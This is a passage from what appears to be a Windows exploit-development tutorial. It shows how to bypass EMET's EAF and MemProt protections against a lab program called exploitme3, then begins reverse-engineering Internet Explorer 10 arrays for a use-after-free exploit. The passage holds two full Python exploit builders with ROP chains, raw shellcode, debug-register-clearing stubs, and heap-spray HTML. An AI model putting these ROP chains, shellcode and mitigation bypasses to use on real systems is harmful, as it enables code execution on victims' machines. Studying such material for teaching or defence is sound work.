Let’s open it in WinDbg and hit F5 (go). The execution should stop because of a single step exception. To ignore these annoying exceptions, we can tell WinDbg to ignore first-chance single step exceptions with the following command:
sxd sse
where sse stands for Single Step Exception.
Right after we hit F5 again, another exception is generated and we recognize our code:
There, we can find a method to modify the debug registers. The method consists in defining an exception handler and generating an exception such as a division by zero. When the exception is generated, Windows will call the exception handler passing it a pointer to a CONTEXT data structure as first and only argument. The CONTEXT data structure contains the values of the registers when the exception was generated. The handler can modify the values in the CONTEXT data structure and, after the handler returns, Windows will propagate the changes to the real registers. This way, we can change the debug registers.
The first part prints the offsets of EIP and the debug registers so that we can verify that the offsets in the asm code are correct. Then follows the actual code. Note that we assign 0x11223344 to dr1 just for debugging purposes. At the end, we use GetThreadContext to make sure that our method works.
This program won’t run correctly because of SAFESEH.
Indeed, Visual Studio gives us the following warning:
1>c:\users\kiuhnm\documents\visual studio 2013\projects\tmp\tmp\tmp1.cpp(24): warning C4733: Inline asm assigning to 'FS:0' : handler not registered as safe handler
Let’s disable SAFESEH by going to Project→properties and modifying the configuration for Release as follows:
Configuration Properties
Linker
Advanced
Image Has Safe Exception Handlers: No (/SAFESEH:NO)
Now the program should work correctly.
We won’t have problems with SAFESEH when we put that code in our shellcode because our code will be on the stack and not inside the image of exploitme3.
Here’s the Python script to create name.dat:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
disable_EAF = (
"\xE8\x00\x00\x00\x00" + # call here (013E1008h)
#here:
"\x83\x04\x24\x22" + # add dword ptr [esp],22h ; [esp] = handler
"\x64\xFF\x35\x00\x00\x00\x00" + # push dword ptr fs:[0]
"\x64\x89\x25\x00\x00\x00\x00" + # mov dword ptr fs:[0],esp
"\x33\xC0" + # xor eax,eax
"\xF7\xF0" + # div eax,eax
"\x64\x8F\x05\x00\x00\x00\x00" + # pop dword ptr fs:[0]
"\x83\xC4\x04" + # add esp,4
"\xEB\x1A" + # jmp here+3Dh (013E1045h) ; jmp skip
#handler:
"\x8B\x4C\x24\x0C" + # mov ecx,dword ptr [esp+0Ch]
"\x83\x81\xB8\x00\x00\x00\x02" + # add dword ptr [ecx+0B8h],2
"\x33\xC0" + # xor eax,eax
"\x89\x41\x04" + # mov dword ptr [ecx+4],eax
"\x89\x41\x08" + # mov dword ptr [ecx+8],eax
"\x89\x41\x0C" + # mov dword ptr [ecx+0Ch],eax
"\x89\x41\x10" + # mov dword ptr [ecx+10h],eax
"\x89\x41\x14" + # mov dword ptr [ecx+14h],eax
"\x89\x41\x18" + # mov dword ptr [ecx+18h],eax
"\xC3" # ret
#skip:
)
code = disable_EAF + shellcode
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
f.write(name)
write_file(r'c:\deleteme\name.dat')
If we run exploitme3, we get a crash. Maybe we did something wrong?
Let’s debug the program in WinDbg. We open exploitme3.exe in WinDbg and then we press F5 (go). We get the familiar single step exception so we issue the command sxd sse and hit F5 again. As expected, we get an Integer divide-by-zero exception:
(610.a58): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
0015d869 f7f0 div eax,eax
This is a first chance exception so if we press F5 (go) again, the exception will be passed to the program. Before proceeding, let’s examine the exception chain:
(610.a58): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
0015d869 f7f0 div eax,eax
Why doesn’t the program handle the exception? The culprit is SafeSEH!
I forgot that it’s not enough for a handler not to be in a SafeSEH module: it mustn’t be on the stack either!
Clearing the debug registers (3)
SafeSEH may be bypassed but probably not without using some hardcoded addresses, which defeats the purpose.
I want to add that if we hadn’t reserved more space on the stack by allocating on the stack the array moreStack (see the initial C/C++ source code), our shellcode would’ve overwritten the exception chain and SEHOP would’ve stopped our exploit anyway. SEHOP checks that the exception chain ends with ntdll!_except_handler4. We can’t restore the exception chain if we don’t know the address of that handler. So, this path is not a viable one.
Another way to clear the debug registers is to use kernel32!SetThreadContext. While it’s true that we don’t have the address of such function, we shouldn’t give up just yet. We know that SetThreadContext can’t clear the debug registers in user mode so it must call some ring 0 service at some point.
Ring 0 services are usually called through interrupts or specific CPU instructions like SYSENTER (Intel) and SYSCALL (AMD). Luckily for us, these services are usually identified by small constants which are hardcoded in the OS and thus don’t change with reboots or even with updates and new service packs.
This looks very interesting! What is this call? Above and below we can see other similar functions with different values for EAX. EAX might be the service number. The immediate value of the ret instruction depends on the number of arguments, of course.
Note that edx will point to the two arguments on the stack:
0:000> dd edx L2
002df93c fffffffe 002df954
Let’s step into the call:
747e2320 ea1e277e743300 jmp 0033:747E271E
A far jump: how interesting! When we step on it we find ourselves right after the call instruction:
Why does this happen and what’s the purpose of a far jump? Maybe it’s used for transitioning to 64-bit code? Repeat the whole process in the 64-bit version of WinDbg and the jump will lead you here:
At the end of the code, we restore ESP but that’s not strictly necessary.
Here’s the complete Python script:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
disable_EAF = (
"\xB8\x50\x01\x00\x00" + # mov eax,150h
"\x33\xC9" + # xor ecx,ecx
"\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh
"\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h
"\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx
"\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx
"\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx
"\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx
"\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx
"\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx
"\x54" + # push esp
"\x6A\xFE" + # push 0FFFFFFFEh
"\x8B\xD4" + # mov edx,esp
"\x64\xFF\x15\xC0\x00\x00\x00" + # call dword ptr fs:[0C0h]
"\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h
)
code = disable_EAF + shellcode
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
f.write(name)
write_file(r'c:\deleteme\name.dat')
If we run exploitme3.exe, the calculator pops up! We bypassed EAF! We can also enable EAF+. Nothing changes.
MemProt
In our exploit we use VirtualProtect to make the portion of the stack which contains our shellcode executable. MemProt should be the perfect protection against that technique. Let’s enable it for exploitme3.exe. As expected, when we run exploitme3.exe, MemProt stops our exploit and exploitme3 crashes.
Let’s see what happens in WinDbg. Open exploitme3.exe in WinDbg and put a breakpoint on exploitme3!f. Then step through the function f and after the ret instruction we should reach our ROP code. Keep stepping until you get to the jmp to VirtualProtect.
Note the hook from EMET. While VirtualProtect operates on the current process, VirtualProtectEx lets you specify the process you want to work on. As we can see, VirtualProtect just calls VirtualProtectEx passing -1, which is the value returned by GetCurrentProcess, as first argument. The other arguments are the same as the ones passed to VirtualProtect.
That looks quite familiar: ZwProtectVirtualMemory calls a ring 0 service! Note that the service number has been overwritten by EMET’s hook, but 0x4d would be a good guess since the service number of the next function is 0x4E.
If you have another look at VirtualProtectEx, you’ll see that the parameters pointed to by EDX in ZwProtectVirtualMemory are not in the same format as those passed to VirtualProtectEx. To have a closer look, let’s disable MemProt, restart (Ctrl+Shift+F5) exploitme3.exe in WinDbg and set the following breakpoint:
bp exploitme3!f "bp KERNELBASE!VirtualProtectEx;g"
This will break on the call to VirtualProtectEx executed by our ROP chain. We hit F5 (go) and we end up here:
This time, as expected, there’s no hook. Here are our 5 parameters on the stack: Image may be NSFW. Clik here to view.
Let’s see what is put onto the stack:
EDX will point to the following 5 parameters in this order:
0xffffffff (current process)
ptr to address
ptr to size
PAGE_EXECUTE_READWRITE
lpflOldProtect (writable location)
Here’s a concrete example: Image may be NSFW. Clik here to view.
Before wasting our time with building a ROP chain that might not work, we should make sure that there aren’t any other surprises.
An easy way to do this, is to debug exploitme3.exe with MemProt enabled and overwrite the EMET’s hooks with the original code. If everything works fine, then we’re ready to proceed. I’ll leave you this as an exercise (do it!).
Building the ROP chain
Even though we want to call a kernel service the same way we did for clearing the debug registers, this time it’ll be much harder because we need to do this with ROP gadgets.
The main problem is that msvcr120.dll doesn’t contain any call dword ptr fs:[0C0h] or variation of it such as call fs:[eax] or call fs:eax. We know that in ntdll there are lots of these calls so maybe we can find a way to get the address of one of them?
Let’s have a look at the IAT (Import Address Table) of msvcr120.dll:
Perfect! Now how do we determine the address of that call dword ptr fs:[0C0h]?
We know the address of ntdll!RtlExitUserThread because it’s at a fixed RVA in the IAT of msvcr120. At the address ntdll!RtlExitUserThread+0x17 we have the call to ntdll!NtQueryInformationThread. That call has this format:
here:
E8 offset
and the target address is
here + offset + 5
In the ROP we will determine the address of ntdll!NtQueryInformationThread as follows:
EAX = 0x7056507c ; ptr to address of ntdll!RtlExitUserThread (IAT)
EAX = [EAX] ; address of ntdll!RtlExitUserThread
EAX += 0x18 ; address of "offset" component of call to ntdll!NtQueryInformationThread
EAX += [EAX] + 4 ; address of ntdll!NtQueryInformationThread
EAX += 0xb ; address of "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
We’re ready to build the ROP chain! As always, we’ll use mona:
The first part of the ROP chain initializes the arguments which are located at the end of the ROP chain itself:
# real_code:
0x90901eeb, # jmp skip
# args:
0xffffffff, # current process handle
0x11111111, # &address = ptr to address
0x11111111, # &size = ptr to size
0x40,
md + 0x705658f2, # &Writable location [MSVCR120.dll]
# end_args:
0x11111111, # address <------- the region starts here
code_size + 8 # size
The second argument (&address) is overwritten with end_args and the third argument (&size) with end_args + 4. To conclude, address (at end_args) is overwritten with its address (end_args).
Note that our code starts at real_code, so we should overwrite address with real_code, but there’s no need because VirtualProtect works with pages and it’s highly probable that real_code and end_args point to the same page.
The second part of the ROP chain finds call dword ptr fs:[0C0h] # add esp,4 # ret 14h in ntdll.dll and make the call to the kernel service.
First run the Python script to create the file name.dat and, finally, run exploitme3.exe. The exploit should work just fine!
Now you may enable all the protections (except for ASR, which doesn’t apply) and verify that our exploit still works!
For this exploit I’m using a VirtualBox VM with Windows 7 64-bit SP1 and the version of Internet Explorer 10 downloaded from here.
To successfully exploit IE 10 we need to defeat both ASLR and DEP. We’re going to exploit a UAF to modify the length of an array so that we can read and write through the whole process address space. The ability of reading/writing wherever we want is a very powerful capability. From there we can go two ways:
Run ActiveX objects (God mode)
Execute regular shellcode
For the phase UAF → arbitrary read/write we’re going to use a method described here.
Reading that paper is not enough to fully understand the method because some details are missing and I also found some differences between theory and practice.
My goal is not to simply describe a method, but to show all the work involved in the creation of a complete exploit. The first step is to do a little investigation with WinDbg and discover how arrays and other objects are laid out in memory.
Reverse Engineering IE
Some objects we want to analyze are:
Array
LargeHeapBlock
ArrayBuffer
Int32Array
Setting up WinDbg
By now you should already have become familiar with WinDbg and set it up appropriately, but let’s make sure. First, load WinDbg (always the 32-bit version, as administrator), press CTRL-S and enter the symbol path. For instance, here’s mine:
Remember that the first part is the local directory for caching the symbols downloaded from the server.
Hit OK and then save the workspace by clicking on File→Save Workspace.
Now run Internet Explorer 10 and in WinDbg hit F6 to Attach to process. You’ll see that iexplore.exe appears twice in the list. The first instance of iexplore.exe is the main process whereas the second is the process associated with the first tab opened in IE. If you open other tabs, you’ll see more instances of the same process. Select the second instance like shown in the picture below:
Let’s start with the object Array. Create an html file with the following code:
<html>
<head>
<script language="javascript">
alert("Start");
var a = new Array(0x123);
for (var i = 0; i < 0x123; ++i)
a[i] = 0x111;
alert("Done");
</script>
</head>
<body>
</body>
</html>
Open the file in IE, allow blocked content, and when the dialog box with the text Start pops up run WinDbg, hit F6 and attach the debugger to the second instance of iexplore.exe like you did before. Hit F5 (go) to resume execution and close the dialog box in IE. Now you should be seeing the second dialog with the message Done.
Go back in WinDbg and try to search the memory for the content of the array. As you can see by looking at the source code, the array contains a sequence of 0x111. Here’s what we get:
0:004> s-d 0 L?ffffffff 111 111 111 111
We got nothing! How odd… But even if we had found the array in memory, that wouldn’t have been enough to locate the code which does the actual allocation. We need a smarter way.
Why don’t we spray the heap? Let’s change the code:
<html>
<head>
<script language="javascript">
alert("Start");
var a = new Array();
for (var i = 0; i < 0x10000; ++i) {
a[i] = new Array(0x1000/4); // 0x1000 bytes = 0x1000/4 dwords
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x111;
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
After updating the html file, resume the execution in WinDbg (F5), close the Done dialog box in IE and reload the page (F5). Close the dialog box (Start) and wait for the next dialog box to appear. Now let’s have a look at IE’s memory usage by opening the Task Manager:
Now go to View→Fragmentation View. You’ll see something like this:
Image may be NSFW. Clik here to view.
The area in yellow is the memory allocated through the heap spray. Let’s try to analyze the memory at the address 0x1ffd0000, which is in the middle of our data:
It’s clear that the number n is represented as n*2 + 1. Why is that? You should know that an array can also contain references to objects so there must be a way to tell integers and addresses apart. Since addresses are multiple of 4, by representing any integer as an odd number, it’ll never be confused with a reference. But what about a number such as 0x7fffffff which is the biggest positive number in 2-complement? Let’s experiment a bit:
<html>
<head>
<script language="javascript">
alert("Start");
var a = new Array();
for (var i = 0; i < 0x10000; ++i) {
a[i] = new Array(0x1000/4);
a[i][0] = 0x7fffffff;
a[i][1] = -2;
a[i][2] = 1.2345;
a[i][3] = document.createElement("div");
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
Here’s what our array looks like now:
Image may be NSFW. Clik here to view.
The number 0x7fffffff is too big to be stored directly so, instead, IE stores a reference to a JavascriptNumber object. The number -2 is stored directly because it can’t be confused with an address, having its highest bit set.
As you should know by now, the first dword of an object is usually a pointer to its vftable. As you can see from the picture above, this is useful to determine the identity of an object.
Now let’s find out what code allocates the array. We can see that there are probably two headers:
The first header tells us that the allocated block is 0x1010 bytes. Indeed, the allocated block has 0x10 bytes of header and 0x1000 bytes of actual data. Because we know that one of our array we’ll be at the address 0x1ffd0000, we can put hardware breakpoints (on write) on fields of both headers. This way we can find out both what code allocates the block and what code creates the object.
First reload the page and stop at the Start dialog box. Go to WinDbg and stop the execution (CTRL+Break). Now set the two breakpoints:
0:004> ba w4 1ffd0000+4
0:004> ba w4 1ffd0000+14
0:004> bl
0 e 1ffd0004 w 4 0001 (0001) 0:****
1 e 1ffd0014 w 4 0001 (0001) 0:****
Hit F5 (ignore the error messages) and close the dialog box in IE. When the first breakpoint is triggered, display the stack:
The array is of type jscript9!Js::JavascriptArray.
The block is probably allocated when we set the value of the first item of the array (*).
Let’s return from the current call with Shift+F11. We land here:
6e9e72ce 6a00 push 0
6e9e72d0 50 push eax
6e9e72d1 51 push ecx
6e9e72d2 56 push esi
6e9e72d3 e80f34ffff call jscript9!Recycler::LargeAlloc (6e9da6e7)
6e9e72d8 c70000000000 mov dword ptr [eax],0 ds:002b:1ffd0010=00000000 <----- we are here
6e9e72de 5e pop esi
6e9e72df 5d pop ebp
6e9e72e0 c20400 ret 4
EAX points to the buffer, so we can put a breakpoint on 6ea92c47. First let’s write the address of EIP so that it doesn’t depend on the specific base address of the module. First of all we’re in jscript9, as we can see from this:
0:007> !address @eip
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Image
Base Address: 6e9d1000
End Address: 6ec54000
Region Size: 00283000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE
Allocation Base: 6e9d0000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: C:\Windows\SysWOW64\jscript9.dll
Module Name: jscript9 <-----------------------------------------
Loaded Image Name: C:\Windows\SysWOW64\jscript9.dll
Mapped Image Name:
More info: lmv m jscript9
More info: !lmi jscript9
More info: ln 0x6ea92c47
More info: !dh 0x6e9d0000
Unloaded modules that overlapped the address in the past:
BaseAddr EndAddr Size
6ea90000 6ebed000 15d000 VBoxOGL-x86.dll
6e9b0000 6eb0d000 15d000 VBoxOGL-x86.dll
Unloaded modules that overlapped the region in the past:
BaseAddr EndAddr Size
6ebf0000 6eccb000 db000 wined3dwddm-x86.dll
6ea90000 6ebed000 15d000 VBoxOGL-x86.dll
6e940000 6ea84000 144000 VBoxOGLcrutil-x86.dll
6eb10000 6ebeb000 db000 wined3dwddm-x86.dll
6e9b0000 6eb0d000 15d000 VBoxOGL-x86.dll
The creation of the array (its data, to be exact) can be logged with the following breakpoint:
bp jscript9+c2c47 ".printf \"new Array Data: addr = 0x%p\\n\",eax;g"
Note that we need to escape the double quotes and the back slash because we’re already inside a string. Also, the command g (go) is used to resume the execution after the breakpoint is triggered, because we want to print a message without stopping the execution.
Let’s get back to what we were doing. We set two hardware breakpoints and only the first was triggered, so let’s get going. After we hit F5 one more time, the second breakpoint is triggered and the stack looks like this:
By comparing the last two stack traces, we can see that we’re still in the same call of jscript9!Js::JavascriptArray::DirectSetItem_Full. So, DirectSetItem_Full first allocates a block of 0x1010 bytes through jscript9!Recycler::AllocZero and then initializes the object.
But if all this happens inside jscript9!Js::JavascriptArray::DirectSetItem_Full, then the JavascriptArray instance has already been created. Let’s try to break on the constructor. First let’s make sure that it exists:
Let’s delete the previous breakpoints with bc *, hit F5 and reload the page in IE. At the first dialog box, let’s go back in WinDbg. Now let’s put a breakpoint at each one of the three addresses:
0:006> bp 6ea898d6
0:006> bp 6ead481d
0:006> bp 6eb28b61
0:006> bl
0 e 6ea898d6 0001 (0001) 0:**** jscript9!Js::JavascriptArray::JavascriptArray
1 e 6ead481d 0001 (0001) 0:**** jscript9!Js::JavascriptArray::JavascriptArray
2 e 6eb28b61 0001 (0001) 0:**** jscript9!Js::JavascriptArray::JavascriptArray
Hit F5 and close the dialog box. Mmm… the Done dialog box appears and none of our breakpoints is triggered. How odd…
Let’s see if we find something interesting in the list of symbols:
239d9340 address of the JavascriptArray
2c1460a0 structure pointed to by the JavascriptArray
Let’s delete the breakpoint and resume program execution. When the Done dialog box pops up, go back to WinDbg. Now break the execution in WinDbg and have another look at the address 239d9340h:
As we can see, now our JavascriptArray (at offsets 0x14 and 0x18) points to a different address. Because a JavascriptArray is growable, it’s likely that when a bigger buffer is allocated the two pointers at 0x14 and 0x18 are updated to refer to the new buffer. We can also see that the JavascriptArray at 239d9340 corresponds to the array a in the javascript code. Indeed, it contains 10000h references to other arrays.
We saw that the JavascriptArray object is allocated in jscript9!Js::JavascriptArray::NewInstance:
After the call to NewInstance, EAX points to the JavascriptArray structure. So, we can put a breakpoint either at 6eb02a4b or at 6ea125d5. Let’s choose the latter:
bp jscript9+425d5 ".printf \"new Array: addr = 0x%p\\n\",eax;g"
Let’s put a breakpoint on both of them and reload the page in IE. When we close the Start dialog box, the first breakpoint is triggered and we end up here:
6f59a7c5 90 nop
6f59a7c6 90 nop
6f59a7c7 90 nop
6f59a7c8 90 nop
6f59a7c9 90 nop
jscript9!HeapInfo::AddLargeHeapBlock:
6f59a7ca 8bff mov edi,edi <------------ we are here
6f59a7cc 55 push ebp
6f59a7cd 8bec mov ebp,esp
6f59a7cf 83ec1c sub esp,1Ch
6f59a7d2 53 push ebx
6f59a7d3 56 push esi
6f59a7d4 8b750c mov esi,dword ptr [ebp+0Ch]
Let’s also look at the stack trace:
0:007> k 10
ChildEBP RetAddr
04dbbc90 6f59a74d jscript9!HeapInfo::AddLargeHeapBlock
04dbbcb4 6f5a72d8 jscript9!Recycler::LargeAlloc+0x66
04dbbcd0 6f652c47 jscript9!Recycler::AllocZero+0x91
04dbbd10 6f5d2aae jscript9!Js::JavascriptArray::DirectSetItem_Full+0x3fd
04dbbd98 6f5fed13 jscript9!Js::JavascriptOperators::OP_SetElementI+0x1e0
04dbbf34 6f5a5cf5 jscript9!Js::InterpreterStackFrame::Process+0x3579
04dbc084 03fd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
04dbc090 6f5a1f60 0x3fd0fe9
04dbc110 6f5a20ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
04dbc128 6f5a209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
04dbc170 6f5a2027 jscript9!ScriptSite::CallRootFunction+0x40
04dbc198 6f64df75 jscript9!ScriptSite::Execute+0x61
04dbc224 6f64db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
04dbc2ac 6f64e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
04dbc300 6e2db60c jscript9!ScriptEngine::ParseScriptText+0x5b
04dbc338 6e2d945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42
